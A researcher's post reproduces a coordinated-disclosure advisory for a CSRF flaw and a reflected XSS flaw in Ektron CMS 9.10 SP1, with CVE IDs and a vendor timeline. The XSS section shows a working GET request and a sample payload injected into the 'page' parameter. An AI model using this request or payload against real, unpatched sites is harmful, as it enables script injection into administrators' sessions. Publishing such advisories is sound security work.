CSRF and XSS Vulnerabilities in Ektron CMS 9.10 SP1

I found a couple of vulnerabilities in Ektron CMS 9.10 SP1. Below is the published advisory for anyone that is interested.

# Vulnerability type: Cross-site Request Forgery
# Vendor: http://www.ektron.com/
# Product: Ektron Content Management System
# Affected version: =< 9.10 SP1 (Build 9.1.0.184.1.114)
# Patched version: 9.10 SP1 (Build 9.1.0.184.1.120)
# CVE ID: CVE-2015-3624
# Credit: Jerold Hoong

# PROOF OF CONCEPT (CSRF)

Cross-site request forgery (CSRF) vulnerability in MenuActions.aspx in Ektron CMS 9.10 SP1 before build 9.1.0.184.1.120 allows remote attackers to hijack the authentication of content administrators for requests that could lead to the deletion of content and assets.

csrf

# Vulnerability type: Cross-site Scripting
# Vendor: http://www.ektron.com/
# Product: Ektron Content Management System
# Affected version: =< 9.10 SP1 (Build 9.1.0.184.1.102)
# Patched version: 9.10 SP1 (Build 9.1.0.184.1.114)
# CVE ID: CVE-2015-4427
# Credit: Jerold Hoong

# PROOF OF CONCEPT (XSS)

Cross-site scripting (XSS) vulnerability in workarea.aspx in Ektron CMS 9.10 SP1 on build 9.1.0.184.1.102 and earlier allows remote authenticated users to inject arbitrary javascript via the page, action, folder_id and LangType parameter.

GET /Test/WorkArea/workarea.aspx?page=content.aspx%27%3balert
%28%22XSS%22%29%2f%2f&action=ViewContentByCategory&folder_id=0
&LangType=1033 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
... [SNIP] ...
Cookie: EktGUID=014949ec-36ac-4b89-9c0b-8b03ed29b0ed; EkAnalytics=0;
ASP.NET_SessionId=zxucmt5zyugbtwrm4vseakw5;
... [SNIP] ...

# VULNERABLE PARAMETERS:
- page
- action
- folder_id
- LangType

# SAMPLE PAYLOAD
- ';alert("XSS")//

# TIMELINE
– 07/04/2015: Vulnerability found
– 07/04/2015: Vendor informed
– 08/04/2015: Vendor responded and acknowledged
- 01/05/2015: MITRE issued CVE number CVE-2015-3624 (CSRF)
– 28/05/2015: Vendor fixed the issue
– 31/05/2015: Public disclosure

Sample XSS Screenshot:
ektron_xss

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